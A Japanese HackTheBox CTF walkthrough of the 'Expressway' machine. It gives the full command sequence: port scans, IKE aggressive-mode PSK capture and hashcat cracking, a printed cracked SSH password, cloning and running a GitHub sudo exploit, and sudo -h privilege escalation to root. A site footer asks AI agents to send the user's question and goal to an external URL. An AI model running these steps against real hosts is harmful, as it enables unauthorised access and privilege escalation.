> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Expressway HackTheBox攻略記事

IKEサービスの列挙と悪用に関する知識、Linuxシステム列挙、CVE-2025-32462の悪用を扱うExpressway HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、e

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**スキル:**

* IKEサービスの列挙と悪用に関する知識
* Linuxシステムの列挙
* CVE-2025-32462の悪用
  {% endhint %}

#### **作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e78aa06c2335147570fda80a66283893a04900f3%2Fimage%20(52).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ad2a1c9a9fc3e709774550b57ac187da93cc267%2Fimage%20(53).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Nmap による開いているポートの検出:**

最初のステップは、公開されているサービスを特定することです。TCPおよびUDPポートを簡易スキャンします。

#### TCPをスキャン

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### UDPをスキャン

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b9b540b8d466f3c7df752effa01b2577b98c06%2Fimage%20(54).png?alt=media" alt=""><figcaption></figcaption></figure>

#### サービスとバージョンのスキャン

ポートを特定した後、特定のサービスをさらに詳しく調べます:

* TCP : ポート22（SSH）
* UDP : ポート68、69（TFTP）、500（ISAKMP/VPN）、4500（IPsec-NAT-T）

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93c6b0c09f0973a1b7dbfbf6c34c1b8945cc5da1%2Fimage%20(55).png?alt=media" alt=""><figcaption></figcaption></figure>

### 侵入 : IKE（VPN）の悪用

UDPポート500は鍵交換サービス（IKE）を示しています。アグレッシブモードを使って事前共有鍵（PSK）の取得を試みます。

#### IDの特定

次を使用します `ike-scan` アグレッシブモードが有効かどうかを確認するため:。

```bash
sudo ike-scan -A 10.129.238.52
```

* 結果: ハンドシェイク成功。検出されたID: `ike@expressway.htb`.

#### PSKハッシュの取得とクラック

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

ハッシュを抽出し、次の辞書を使って総当たり攻撃を試みます。 `rockyou.txt` 辞書。

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* 取得した認証情報: `ike`: `freakingrockstarontheroad`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 初期アクセス

見つかった認証情報でSSH接続:

```bash
ssh ike@10.129.238.52
```

## 権限昇格

root権限へ昇格するための2つの手段が確認されています。

### 方法1: CVE-2025-32463（sudoの脆弱性）

sudoのバージョンを確認すると `sudo -V`、バージョンは1.9.17であり、脆弱であることが分かります。

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26baee83002177a74ee362db31308ef6ca69a4d5%2Fimage%20(58).png?alt=media" alt=""><figcaption></figcaption></figure>

1. エクスプロイトをクローンします:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

コンパイルと悪用のスクリプトを実行します:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a39ce809b9bbc6c0b777e507356679d829317d%2Fimage%20(60).png?alt=media" alt=""><figcaption></figcaption></figure>

### 方法2: ProxyおよびHostnamesグループの悪用

ユーザーのグループを監査すると、proxyグループに所属していることが分かります。関連するファイルを探します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37a2038e1cc03821c33b8bad7047248975616a73%2Fimage%20(61).png?alt=media" alt=""><figcaption></figcaption></figure>

Squidのログを調べると（`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16511c1b13df60f898fc174a952d3903e139c904%2Fimage%20(62).png?alt=media" alt=""><figcaption></figcaption></figure>

内部サブドメインを発見します: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-885697856aa4cbfb2ba1d51b6232c3ec79d23f01%2Fimage%20(63).png?alt=media" alt=""><figcaption></figcaption></figure>

この特定のドメインに対するsudoポリシーを確認すると、フル権限があることが分かります:

```bash
sudo -h offramp.expressway.htb -l
```

結果: このホストのコンテキストでは、rootとして任意のコマンドを実行できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac36e711a21e15d759981eabceaa05dc1fcc5d98%2Fimage%20(66).png?alt=media" alt=""><figcaption></figcaption></figure>

**rootとしての最終実行:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe0911939434847c8e6cfbdc5a5f49b6157fa4bb%2Fimage%20(67).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dea50720796d1ecc60eff3ff118d817585125e3b%2Fimage%20(65).png?alt=media" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aff922eb97594bdf76f3887579682a4ec37c536%2Fimage%20(64).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
